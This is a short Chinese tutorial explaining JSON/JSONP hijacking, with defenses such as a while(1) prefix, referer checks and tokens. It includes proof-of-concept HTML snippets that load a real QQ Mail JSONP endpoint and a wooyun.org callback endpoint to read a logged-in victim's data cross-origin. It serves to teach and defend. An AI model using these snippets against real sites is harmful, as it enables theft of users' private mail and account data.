漏洞原理
json(javascript object notation)是javascript对象表示法的意思。
比如:
var impromptu_object = {
"given_name" : "john",
"family_name": "smith",
"lucky_numbers": [11630,12067,12407,12887]
};
alert(impromptu_object.given_name);
运行结果是弹出john。
jsonp字面上的含义是”填充式(padding)的JSON”,它通过填充二外的内容吧JSON序列化包装起来,变成一段有效的可以独立运行的Javascript语句。常见的例子包括函数调用(例如callback_function({…JSON data…}))或变量赋值(var return_value = {…JSON data…})
利用方式
返回值形式为:变量赋值的形式
Qmail.newMailsList={total:446,mailHome:"http://mail.qq.com/cgi-bin/login?f...
<script>
var Qmail={}; 先定义变量
</script>
<script src="http://mail.qq.com/cgi-bin/login?fun=passport&target=MLIST&t=login.js&pagesize=10&resp_charset=gb2312&1=3"></script>
<script>
alert(Qmail.newMailsList.nextUrl);
alert(document.scripts[1].src=Qmail.newMailsList.nextUrl);
alert(Qmail.newMailsList.summary);
</script>
返回值形式为函数调用
<script>
function wooyun_callback(a){
alert(a);
}
</script>
<script src="http://www.wooyun.org/userdata.php?callback=wooyun_callback"></script>
防御方案
1,对于同域的json使用情况下,可以在数据的输出头部加入while(1);的方式避免数据被script标签的方式引用,这可以防止一些比较有特性的浏览器里导致的数据泄漏。腾讯的一个案例加了”-1”
//Ignoring The First Item "-1"Qmail.newMailsList={total:
2,referer的来源限制,利用前端referer的不可伪造性来保障请求数据的应用来源于可信的地方,此种方式力度较稀,完全依赖于referer,某些情况下(如存在xss)可能导致被绕过。
3,token的加入,严格来说,这种利用javascript hijacking的方式获取数据是CSRF的一种,不过较之传统的CSRF不能获取数据只能提交而言,这种方式利用javascript可以获取一些敏感信息而已。如果我们能让攻击者对接口未知,就可以实现json hijacking的防御了。利用token对调用者的身份进行认证,这种方式对于调用者的身份会要求力度较细,但是一旦出现xss也可能导致前端Token的泄露,从而导致保护失效。
参考资料
注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。